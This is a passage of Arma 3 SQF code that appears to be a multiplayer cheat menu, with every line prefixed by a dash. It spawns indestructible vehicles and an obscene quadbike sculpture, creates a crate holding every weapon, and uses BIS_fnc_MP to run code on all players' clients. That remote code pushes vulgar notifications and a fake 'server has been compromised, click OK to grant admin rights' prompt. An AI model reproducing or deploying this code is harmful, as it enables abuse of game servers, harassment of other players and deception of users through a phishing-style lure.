- onMapSingleClick "cTargetPos = _pos;[] spawn compile aNUScODERZ; onMapSingleClick '';true;";
- };
- NNNN_IGGG___EEEEEEE_nyan = {
- if (isnil("NNNN_IGGG___EEEEEEE_HaxSmokeOn")) then {
- NNNN_IGGG___EEEEEEE_HaxSmokeOn = 0;
- };
- if (NNNN_IGGG___EEEEEEE_HaxSmokeOn == 0) then {
- NNNN_IGGG___EEEEEEE_HaxSmokeOn = 1;
- hint "Smoke ON";
- _aNUScODERZ = 'while {NNNN_IGGG___EEEEEEE_HaxSmokeOn==1} do {';
- _aNUScODERZ = _aNUScODERZ + 'Flare = "SmokeShell" createVehicle position vehicle player;Flare attachTo [vehicle player,[0,0,0]];';
- _aNUScODERZ = _aNUScODERZ + 'Flare1 = "Smokeshellpurple" createVehicle position vehicle player;Flare1 attachTo [vehicle player,[0.1,0,0]];';
- _aNUScODERZ = _aNUScODERZ + 'Flare2 = "Smokeshellgreen" createVehicle position vehicle player;Flare2 attachTo [vehicle player,[0.2,0,0]];';
- _aNUScODERZ = _aNUScODERZ + 'Flare3 = "Smokeshellpurple" createVehicle position vehicle player;Flare3 attachTo [vehicle player,[0.3,0,0]];';
- _aNUScODERZ = _aNUScODERZ + 'Flare4 = "Smokeshellgreen" createVehicle position vehicle player;Flare4 attachTo [vehicle player,[0.4,0,0]];';
- _aNUScODERZ = _aNUScODERZ + 'Flare5 = "Smokeshellgreen" createVehicle position vehicle player;Flare5 attachTo [vehicle player,[0.5,0,0]];';
- _aNUScODERZ = _aNUScODERZ + 'Flare6 = "Smokeshellgreen" createVehicle position vehicle player;Flare6 attachTo [vehicle player,[0.6,0,0]];';
- _aNUScODERZ = _aNUScODERZ + 'Flare7 = "SmokeShellRed" createVehicle position vehicle player;Flare7 attachTo [vehicle player,[0.7,0,0]];';
- _aNUScODERZ = _aNUScODERZ + 'Flare8 = "SmokeShellRed" createVehicle position vehicle player;Flare8 attachTo [vehicle player,[0.8,0,0]];';
- _aNUScODERZ = _aNUScODERZ + 'sleep 28;};';
- [] spawn compile _aNUScODERZ;
- } else {
- sleep 0.5;
- deleteVehicle Flare;
- deleteVehicle Flare1;
- deleteVehicle Flare2;
- deleteVehicle Flare3;
- deleteVehicle Flare4;
- deleteVehicle Flare5;
- deleteVehicle Flare6;
- deleteVehicle Flare7;
- deleteVehicle Flare8;
- NNNN_IGGG___EEEEEEE_HaxSmokeOn = 0;
- hint "Smoke OFF";
- };
- };
- NNNN_IGGG___EEEEEEE_GiantCock = {
- hint "is it a bird? ... is it a plane?...";
- _pos = player modelToWorld[0, 8, 0.2];
- _helicopta = "B_Heli_Attack_01_F"
- createVehicle _pos;
- _quadsacbaseR = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacbaseR allowDamage false;
- _quadsacbaseR attachTo[_helicopta, [2, 0, 1]];
- _quadsacbaseR1 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacbaseR1 allowDamage false;
- _quadsacbaseR1 attachTo[_helicopta, [3, 0, 0]];
- _quadsacbaseR2 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacbaseR2 allowDamage false;
- _quadsacbaseR2 attachTo[_helicopta, [4, 0, 0]];
- _quadsacbaseR3 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacbaseR3 allowDamage false;
- _quadsacbaseR3 attachTo[_helicopta, [5, 0, 0]];
- _quadsacbaseR4 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacbaseR4 allowDamage false;
- _quadsacbaseR4 attachTo[_helicopta, [6, 0, 0]];
- _quadsacbaseR5 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacbaseR5 allowDamage false;
- _quadsacbaseR5 attachTo[_helicopta, [7, 0, 0]];
- _quadsacbaseR6 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacbaseR6 allowDamage false;
- _quadsacbaseR6 attachTo[_helicopta, [8, 0, 1]];
- _quadsacwallR1 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacwallR1 allowDamage false;
- _quadsacwallR1 attachTo[_helicopta, [9, 0, 2]];
- _quadsacwallR2 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacwallR2 allowDamage false;
- _quadsacwallR2 attachTo[_helicopta, [9, 0, 3]];
- _quadsacwallR3 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacwallR3 allowDamage false;
- _quadsacwallR3 attachTo[_helicopta, [9, 0, 4]];
- _quadsacwallR4 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacwallR4 allowDamage false;
- _quadsacwallR4 attachTo[_helicopta, [9, 0, 5]];
- _quadsacwallR5 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacwallR5 allowDamage false;
- _quadsacwallR5 attachTo[_helicopta, [9, 0, 6]];
- _quadsacwallR6 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacwallR6 allowDamage false;
- _quadsacwallR6 attachTo[_helicopta, [9, 0, 7]];
- _quadsacroofR = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacroofR allowDamage false;
- _quadsacroofR attachTo[_helicopta, [3, 0, 8]];
- _quadsacroofR1 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacroofR1 allowDamage false;
- _quadsacroofR1 attachTo[_helicopta, [3, 0, 9]];
- _quadsacroofR2 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacroofR2 allowDamage false;
- _quadsacroofR2 attachTo[_helicopta, [4, 0, 9]];
- _quadsacroofR3 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacroofR3 allowDamage false;
- _quadsacroofR3 attachTo[_helicopta, [5, 0, 9]];
- _quadsacroofR4 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacroofR4 allowDamage false;
- _quadsacroofR4 attachTo[_helicopta, [6, 0, 9]];
- _quadsacroofR5 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacroofR5 allowDamage false;
- _quadsacroofR5 attachTo[_helicopta, [7, 0, 9]];
- _quadsacroofR6 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacroofR6 allowDamage false;
- _quadsacroofR6 attachTo[_helicopta, [8, 0, 8]];
- _quadsacbaseL = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacbaseL allowDamage false;
- _quadsacbaseL attachTo[_helicopta, [-2, 0, 1]];
- _quadsacbaseL1 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacbaseL1 allowDamage false;
- _quadsacbaseL1 attachTo[_helicopta, [-3, 0, 0]];
- _quadsacbaseL2 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacbaseL2 allowDamage false;
- _quadsacbaseL2 attachTo[_helicopta, [-4, 0, 0]];
- _quadsacbaseL3 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacbaseL3 allowDamage false;
- _quadsacbaseL3 attachTo[_helicopta, [-5, 0, 0]];
- _quadsacbaseL4 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacbaseL4 allowDamage false;
- _quadsacbaseL4 attachTo[_helicopta, [-6, 0, 0]];
- _quadsacbaseL5 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacbaseL5 allowDamage false;
- _quadsacbaseL5 attachTo[_helicopta, [-7, 0, 0]];
- _quadsacbaseL6 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacbaseL6 allowDamage false;
- _quadsacbaseL6 attachTo[_helicopta, [-8, 0, 1]];
- _quadsacwallL1 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacwallL1 allowDamage false;
- _quadsacwallL1 attachTo[_helicopta, [-9, 0, 2]];
- _quadsacwallL2 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacwallL2 allowDamage false;
- _quadsacwallL2 attachTo[_helicopta, [-9, 0, 3]];
- _quadsacwallL3 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacwallL3 allowDamage false;
- _quadsacwallL3 attachTo[_helicopta, [-9, 0, 4]];
- _quadsacwallL4 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacwallL4 allowDamage false;
- _quadsacwallL4 attachTo[_helicopta, [-9, 0, 5]];
- _quadsacwallL5 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacwallL5 allowDamage false;
- _quadsacwallL5 attachTo[_helicopta, [-9, 0, 6]];
- _quadsacwallL6 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacwallL6 allowDamage false;
- _quadsacwallL6 attachTo[_helicopta, [-9, 0, 7]];
- _quadsacroofL = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacroofL allowDamage false;
- _quadsacroofL attachTo[_helicopta, [-3, 0, 8]];
- _quadsacroofL1 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacroofL1 allowDamage false;
- _quadsacroofL1 attachTo[_helicopta, [-3, 0, 9]];
- _quadsacroofL2 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacroofL2 allowDamage false;
- _quadsacroofL2 attachTo[_helicopta, [-4, 0, 9]];
- _quadsacroofL3 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacroofL3 allowDamage false;
- _quadsacroofL3 attachTo[_helicopta, [-5, 0, 9]];
- _quadsacroofL4 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacroofL4 allowDamage false;
- _quadsacroofL4 attachTo[_helicopta, [-6, 0, 9]];
- _quadsacroofL5 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacroofL5 allowDamage false;
- _quadsacroofL5 attachTo[_helicopta, [-7, 0, 9]];
- _quadsacroofL6 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadsacroofL6 allowDamage false;
- _quadsacroofL6 attachTo[_helicopta, [-8, 0, 8]];
- _quadshaftR = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadshaftR allowDamage false;
- _quadshaftR attachTo[_helicopta, [3, 0, 10]];
- _quadshaftR1 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadshaftR1 allowDamage false;
- _quadshaftR1 attachTo[_helicopta, [3, 0, 11]];
- _quadshaftR2 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadshaftR2 allowDamage false;
- _quadshaftR2 attachTo[_helicopta, [3, 0, 12]];
- _quadshaftR3 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadshaftR3 allowDamage false;
- _quadshaftR3 attachTo[_helicopta, [3, 0, 13]];
- _quadshaftR4 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadshaftR4 allowDamage false;
- _quadshaftR4 attachTo[_helicopta, [3, 0, 14]];
- _quadshaftR5 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadshaftR5 allowDamage false;
- _quadshaftR5 attachTo[_helicopta, [3, 0, 15]];
- _quadshaftR6 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadshaftR6 allowDamage false;
- _quadshaftR6 attachTo[_helicopta, [3, 0, 16]];
- _quadshaftL = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadshaftL allowDamage false;
- _quadshaftL attachTo[_helicopta, [-3, 0, 10]];
- _quadshaftL1 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadshaftL1 allowDamage false;
- _quadshaftL1 attachTo[_helicopta, [-3, 0, 11]];
- _quadshaftL2 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadshaftL2 allowDamage false;
- _quadshaftL2 attachTo[_helicopta, [-3, 0, 12]];
- _quadshaftL3 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadshaftL3 allowDamage false;
- _quadshaftL3 attachTo[_helicopta, [-3, 0, 13]];
- _quadshaftL4 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadshaftL4 allowDamage false;
- _quadshaftL4 attachTo[_helicopta, [-3, 0, 14]];
- _quadshaftL5 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadshaftL5 allowDamage false;
- _quadshaftL5 attachTo[_helicopta, [-3, 0, 15]];
- _quadshaftL6 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadshaftL6 allowDamage false;
- _quadshaftL6 attachTo[_helicopta, [-3, 0, 16]];
- _quadshaftextR = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadshaftextR allowDamage false;
- _quadshaftextR attachTo[_helicopta, [3, 0, 17]];
- _quadshaftextR1 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadshaftextR1 allowDamage false;
- _quadshaftextR1 attachTo[_helicopta, [3, 0, 18]];
- _quadshaftextR2 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadshaftextR2 allowDamage false;
- _quadshaftextR2 attachTo[_helicopta, [3, 0, 19]];
- _quadshaftextR3 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadshaftextR3 allowDamage false;
- _quadshaftextR3 attachTo[_helicopta, [3, 0, 20]];
- _quadshaftextR4 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadshaftextR4 allowDamage false;
- _quadshaftextR4 attachTo[_helicopta, [3, 0, 21]];
- _quadshaftextR5 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadshaftextR5 allowDamage false;
- _quadshaftextR5 attachTo[_helicopta, [3, 0, 22]];
- _quadshaftextR6 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadshaftextR6 allowDamage false;
- _quadshaftextR6 attachTo[_helicopta, [3, 0, 23]];
- _quadshaftextL = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadshaftextL allowDamage false;
- _quadshaftextL attachTo[_helicopta, [-3, 0, 17]];
- _quadshaftextL1 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadshaftextL1 allowDamage false;
- _quadshaftextL1 attachTo[_helicopta, [-3, 0, 18]];
- _quadshaftextL2 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadshaftextL2 allowDamage false;
- _quadshaftextL2 attachTo[_helicopta, [-3, 0, 19]];
- _quadshaftextL3 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadshaftextL3 allowDamage false;
- _quadshaftextL3 attachTo[_helicopta, [-3, 0, 20]];
- _quadshaftextL4 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadshaftextL4 allowDamage false;
- _quadshaftextL4 attachTo[_helicopta, [-3, 0, 21]];
- _quadshaftextL5 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadshaftextL5 allowDamage false;
- _quadshaftextL5 attachTo[_helicopta, [-3, 0, 22]];
- _quadshaftextL6 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadshaftextL6 allowDamage false;
- _quadshaftextL6 attachTo[_helicopta, [-3, 0, 23]];
- _quadtipR = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadtipR allowDamage false;
- _quadtipR attachTo[_helicopta, [4, 0, 23]];
- _quadtipR1 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadtipR1 allowDamage false;
- _quadtipR1 attachTo[_helicopta, [5, 0, 23]];
- _quadtipR2 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadtipR2 allowDamage false;
- _quadtipR2 attachTo[_helicopta, [6, 0, 23]];
- _quadtipR3 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadtipR3 allowDamage false;
- _quadtipR3 attachTo[_helicopta, [7, 0, 23]];
- _quadtipR4 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadtipR4 allowDamage false;
- _quadtipR4 attachTo[_helicopta, [7, 0, 24]];
- _quadtipR5 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadtipR5 allowDamage false;
- _quadtipR5 attachTo[_helicopta, [7, 0, 25]];
- _quadtipR6 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadtipR6 allowDamage false;
- _quadtipR6 attachTo[_helicopta, [6, 0, 26]];
- _quadtipR7 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadtipR7 allowDamage false;
- _quadtipR7 attachTo[_helicopta, [6, 0, 27]];
- _quadtipR8 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadtipR8 allowDamage false;
- _quadtipR8 attachTo[_helicopta, [5, 0, 28]];
- _quadtipR9 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadtipR9 allowDamage false;
- _quadtipR9 attachTo[_helicopta, [5, 0, 29]];
- _quadtipR10 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadtipR10 allowDamage false;
- _quadtipR10 attachTo[_helicopta, [4, 0, 30]];
- _quadtipR11 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadtipR11 allowDamage false;
- _quadtipR11 attachTo[_helicopta, [3, 0, 31]];
- _quadtipR12 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadtipR12 allowDamage false;
- _quadtipR12 attachTo[_helicopta, [2, 0, 32]];
- _quadtipR13 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadtipR13 allowDamage false;
- _quadtipR13 attachTo[_helicopta, [1, 0, 32]];
- _quadtipL = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadtipL allowDamage false;
- _quadtipL attachTo[_helicopta, [-4, 0, 23]];
- _quadtipL1 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadtipL1 allowDamage false;
- _quadtipL1 attachTo[_helicopta, [-5, 0, 23]];
- _quadtipL2 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadtipL2 allowDamage false;
- _quadtipL2 attachTo[_helicopta, [-6, 0, 23]];
- _quadtipL3 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadtipL3 allowDamage false;
- _quadtipL3 attachTo[_helicopta, [-7, 0, 23]];
- _quadtipL4 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadtipL4 allowDamage false;
- _quadtipL4 attachTo[_helicopta, [-7, 0, 24]];
- _quadtipL5 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadtipL5 allowDamage false;
- _quadtipL5 attachTo[_helicopta, [-7, 0, 25]];
- _quadtipL6 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadtipL6 allowDamage false;
- _quadtipL6 attachTo[_helicopta, [-6, 0, 26]];
- _quadtipL7 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadtipL7 allowDamage false;
- _quadtipL7 attachTo[_helicopta, [-6, 0, 27]];
- _quadtipL8 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadtipL8 allowDamage false;
- _quadtipL8 attachTo[_helicopta, [-5, 0, 28]];
- _quadtipL9 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadtipL9 allowDamage false;
- _quadtipL9 attachTo[_helicopta, [-5, 0, 29]];
- _quadtipL10 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadtipL10 allowDamage false;
- _quadtipL10 attachTo[_helicopta, [-4, 0, 30]];
- _quadtipL11 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadtipL11 allowDamage false;
- _quadtipL11 attachTo[_helicopta, [-3, 0, 31]];
- _quadtipL12 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadtipL12 allowDamage false;
- _quadtipL12 attachTo[_helicopta, [-2, 0, 32]];
- _quadtipL13 = "C_Quadbike_01_F"
- createVehicle _pos;
- _quadtipL13 allowDamage false;
- _quadtipL13 attachTo[_helicopta, [-1, 0, 32]];
- _peepeehole = "C_Quadbike_01_F"
- createVehicle _pos;
- _peepeehole allowDamage false;
- _peepeehole attachTo[_helicopta, [0, 0, 31]];
- hint "no its a giant flying cock";
- ["Created by", "Δ΄ΠΌΔ", "March 2014"] spawn BIS_fnc_infoText;
- sleep 1;
- player action['getInDriver', _helicopta];
- };
- NNNN_IGGG___EEEEEEE_J_420_MEAd = {
- hint "Flying Advert V1";
- _dirme = getDir player;
- _pos = player modelToWorld[10, 0, 2];
- _jetslut = "O_Plane_CAS_02_F"
- createVehicle _pos;
- _jetslut allowDamage false;
- _jetslut setDir _dirme;
- [_jetslut] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- _ALEXxxx = "Land_Cargo40_grey_F"
- createVehicle _pos;
- _ALEXxxx attachTo[_jetslut, [0, -20, 0]];
- _ALEXxxx setDir 90;
- _ALEXxxx allowDamage false;
- _ALEXxxx = "Land_Cargo40_grey_F"
- createVehicle _pos;
- _ALEXxxx attachTo[_jetslut, [0, -25, 5]];
- _ALEXxxx setDir 90;
- _ALEXxxx setVectorUp[0, 1, 0];
- _ALEXxxx allowDamage false;
- _ALEXxxx = "Land_Cargo40_grey_F"
- createVehicle _pos;
- _ALEXxxx attachTo[_jetslut, [0, -25, 10]];
- _ALEXxxx setDir 90;
- _ALEXxxx setVectorUp[0, 1, 0];
- _ALEXxxx allowDamage false;
- _ALEXxxx = "Land_Cargo20_grey_F"
- createVehicle _pos;
- _ALEXxxx attachTo[_jetslut, [0, -15.25, 1.8]];
- _ALEXxxx setDir 90;
- _ALEXxxx setVectorUp[0, 1, 0];
- _ALEXxxx allowDamage false;
- _ALEXxxx = "Land_Cargo40_orange_F"
- createVehicle _pos;
- _ALEXxxx attachTo[_jetslut, [0, -31, 5]];
- _ALEXxxx setDir 90;
- _ALEXxxx setVectorUp[0, 1, 0];
- _ALEXxxx allowDamage false;
- _ALEXxxx = "Land_Cargo40_orange_F"
- createVehicle _pos;
- _ALEXxxx attachTo[_jetslut, [0, -31, 10]];
- _ALEXxxx setDir 90;
- _ALEXxxx setVectorUp[0, 1, 0];
- _ALEXxxx allowDamage false;
- _ALEXxxx = "Land_Cargo40_orange_F"
- createVehicle _pos;
- _ALEXxxx attachTo[_jetslut, [0, -46, 5]];
- _ALEXxxx setDir 90;
- _ALEXxxx setVectorUp[0, 1, 0];
- _ALEXxxx allowDamage false;
- _ALEXxxx = "Land_Cargo40_orange_F"
- createVehicle _pos;
- _ALEXxxx attachTo[_jetslut, [0, -46, 10]];
- _ALEXxxx setDir 90;
- _ALEXxxx setVectorUp[0, 1, 0];
- _ALEXxxx allowDamage false;
- _ALEXxxx = "Land_Cargo40_orange_F"
- createVehicle _pos;
- _ALEXxxx attachTo[_jetslut, [0, -42, 10.8]];
- _ALEXxxx setVectorDirAndUp[[1, 0, 0], [0, 1, 1]];
- _ALEXxxx allowDamage false;
- _ALEXxxx = "Land_Cargo40_orange_F"
- createVehicle _pos;
- _ALEXxxx attachTo[_jetslut, [0, -35, 10.8]];
- _ALEXxxx setVectorDirAndUp[[1, 0, 0], [0, -1, 1]];
- _ALEXxxx allowDamage false;
- _ALEXxxx = "Land_Cargo40_white_F"
- createVehicle _pos;
- _ALEXxxx attachTo[_jetslut, [0, -52, 5]];
- _ALEXxxx setDir 90;
- _ALEXxxx setVectorUp[0, 1, 0];
- _ALEXxxx allowDamage false;
- _ALEXxxx = "Land_Cargo40_white_F"
- createVehicle _pos;
- _ALEXxxx attachTo[_jetslut, [0, -52, 10]];
- _ALEXxxx setDir 90;
- _ALEXxxx setVectorUp[0, 1, 0];
- _ALEXxxx allowDamage false;
- _ALEXxxx = "Land_Cargo40_white_F"
- createVehicle _pos;
- _ALEXxxx attachTo[_jetslut, [0, -57, 0]];
- _ALEXxxx setDir 90;
- _ALEXxxx allowDamage false;
- _ALEXxxx = "Land_Cargo40_white_F"
- createVehicle _pos;
- _ALEXxxx attachTo[_jetslut, [0, -57, 7.5]];
- _ALEXxxx setDir 90;
- _ALEXxxx allowDamage false;
- _ALEXxxx = "Land_Cargo40_white_F"
- createVehicle _pos;
- _ALEXxxx attachTo[_jetslut, [0, -57, 14.8]];
- _ALEXxxx setDir 90;
- _ALEXxxx allowDamage false;
- [_ALEXxxx] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- };
- NNNN_IGGG___EEEEEEE_JetBus = {
- hint "Quad-Train V1";
- _dirme = getDir player;
- _pos = player modelToWorld[0, 20, 0.2];
- _jetslut = "B_Plane_CAS_01_F"
- createVehicle _pos;
- _jetslut allowDamage false;
- _jetslut setDir _dirme;
- [_jetslut] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- _ALEXxxx = "O_Quadbike_01_F"
- createVehicle _pos;
- _ALEXxxx attachTo[_jetslut, [2.7, 4, 0]];
- _ALEXxxx allowDamage false;
- _ALEXxxx = "O_Quadbike_01_F"
- createVehicle _pos;
- _ALEXxxx attachTo[_jetslut, [-2.7, 4, 0]];
- _ALEXxxx allowDamage false;
- _ALEXxxx = "O_Quadbike_01_F"
- createVehicle _pos;
- _ALEXxxx attachTo[_jetslut, [2.7, 8, 0]];
- _ALEXxxx allowDamage false;
- _ALEXxxx = "O_Quadbike_01_F"
- createVehicle _pos;
- _ALEXxxx attachTo[_jetslut, [-2.7, 8, 0]];
- _ALEXxxx allowDamage false;
- _ALEXxxx = "O_Quadbike_01_F"
- createVehicle _pos;
- _ALEXxxx attachTo[_jetslut, [2.7, 12, 0]];
- _ALEXxxx allowDamage false;
- _ALEXxxx = "O_Quadbike_01_F"
- createVehicle _pos;
- _ALEXxxx attachTo[_jetslut, [-2.7, 12, 0]];
- _ALEXxxx allowDamage false;
- [_ALEXxxx] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- };
- NNNN_IGGG___EEEEEEE_BoxQuad = {
- hint "Moving Weapon Box V1";
- _pos = player modelToWorld[0, 8, 0.2];
- _battlebus = "O_Quadbike_01_F"
- createVehicle _pos;
- _battlebus allowDamage false;
- _sidepanelR = "Box_East_WpsSpecial_F"
- createVehicle _pos;
- _sidepanelR attachTo[_battlebus, [0, 1.5, -0.8]];
- _sidepanelR = "Box_East_WpsSpecial_F"
- createVehicle _pos;
- _sidepanelR attachTo[_battlebus, [0, -1.5, -0.8]];
- _sidepanelR = "Box_East_Wps_F"
- createVehicle _pos;
- _sidepanelR attachTo[_battlebus, [1, 0, -0.8]];
- _sidepanelR setdir 90;
- _sidepanelR = "Box_East_Wps_F"
- createVehicle _pos;
- _sidepanelR attachTo[_battlebus, [-1, 0, -0.8]];
- _sidepanelR setdir 90;
- _sidepanelR = "Land_Sunshade_F"
- createVehicle _pos;
- _sidepanelR attachTo[_battlebus, [0, -1, 2]];
- [_battlebus] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- [_sidepanelR] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- };
- NNNN_IGGG___EEEEEEE_ShowNote = {
- closedialog 0;
- [{
- [] spawn {
- ["TaskCreated", ["", "FIND A RUBBER"]] call BIS_fnc_showNotification;
- sleep 30;
- ["TaskFailed", ["", "YOU JUST GOT ANAL FUCKED"]] call BIS_fnc_showNotification;
- };
- }, "BIS_fnc_SPAWN", true, false] call BIS_fnc_MP;
- hint "Done";
- };
- NNNN_IGGG___EEEEEEE_Question = {
- closedialog 0;
- _FUCK = format["
- ['Warning, this server has been compromised by a Δ΄ΠΌΔ affiliate, to grant full administration rights, please click OK'] spawn BIS_fnc_guiMessage", "NONE"];
- [_FUCK] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- };
- NNNN_IGGG___EEEEEEE_SpawnCrate = {
- _l5 = getdir vehicle player;
- _pos = getPos vehicle player;
- _pos = [(_pos select 0) + 1.5 * sin(_l5), (_pos select 1) + 1.5 * cos(_l5), 0];
- _l50 = createVehicle["box_NATO_AMMO_F", _pos, [], 0, 'CAN_COLLIDE'];
- clearWeaponCargo _l50;
- clearMagazineCargo _l50;
- clearItemCargo _l50;
- clearBackpackCargo _l50;
- _l51 = configFile >> "CfgWeapons";
- _l52 = [];
- for "_l39"
- from 0 to(count _l51) - 1 do {
- _l53 = _l51 select _l39;
- if (isClass _l53) then {
- _l3 = configName _l53;
- _l54 = getNumber(_l53 >> "type");
- _l55 = getNumber(_l53 >> "scope");
- _l56 = getText(_l53 >> "picture");
- if (_l55 >= 2 && _l54 in [1, 2, 4, 4096] && _l56 != "" && !(_l3 in _l52) && _l3 != "NVGoggles") then {
- _l52 set[count _l52, _l3];
- };
- };
- if (_l39 % 10 == 0) then {
- hintsilent format["Spawning Weapons %1", count _l52];
- sleep 0.0001;
- };
- };
- sleep 0.1;
- _l51 = configFile >> "CfgMagazines";
- _l57 = [];
- for "_l39"
- from 0 to(count _l51) - 1 do {
- _l53 = _l51 select _l39;
- if (isClass _l53) then {
- _l3 = configName _l53;
- _l55 = getNumber(_l53 >> "scope");
- _l56 = getText(_l53 >> "picture");
- if (_l55 >= 2 && _l56 != "" && !(_l3 in _l57)) then {
- _l57 set[count _l57, _l3];
- };
- };
- if (_l39 % 10 == 0) then {
- hintsilent format["Spawning Mags %1", count _l57];
- sleep 0.0001;
- };
- }; {
- _l50 addWeaponCargo[_x, 50];
- }
- foreach _l52; {
- _l50 addMagazineCargo[_x, 50];
- }
- foreach _l57;
- sleep 0.1;
- _l51 = configFile >> "CfgWeapons";
- _l58 = [];
- for "_l39"
- from 0 to(count _l51) - 1 do {
- _l53 = _l51 select _l39;
- if (isClass _l53) then {
- _l3 = configName _l53;
- _l54 = getNumber(_l53 >> "type");
- _l55 = getNumber(_l53 >> "scope");
- _l56 = getText(_l53 >> "picture");
- if (_l55 >= 2 && _l54 in [131072, 4096] && _l56 != "" && !(_l3 in _l58) && _l3 != "Binocular") then {
- _l58 set[count _l58, _l3];
- };
- };
- if (_l39 % 10 == 0) then {
- hintsilent format["Spawning Items %1", count _l58];
- sleep 0.0001;
- };
- }; {
- _l50 addItemCargo[_x, 50];
- }
- foreach _l58;
- sleep 0.1;
- _l51 = configFile >> "CfgVehicles";
- _l59 = [];
- for "_l39"
- from 0 to(count _l51) - 1 do {
- _l53 = _l51 select _l39;
- if (isClass _l53) then {
- _l3 = configName _l53;
- _l54 = getText(_l53 >> "vehicleClass");
- _l55 = getNumber(_l53 >> "scope");
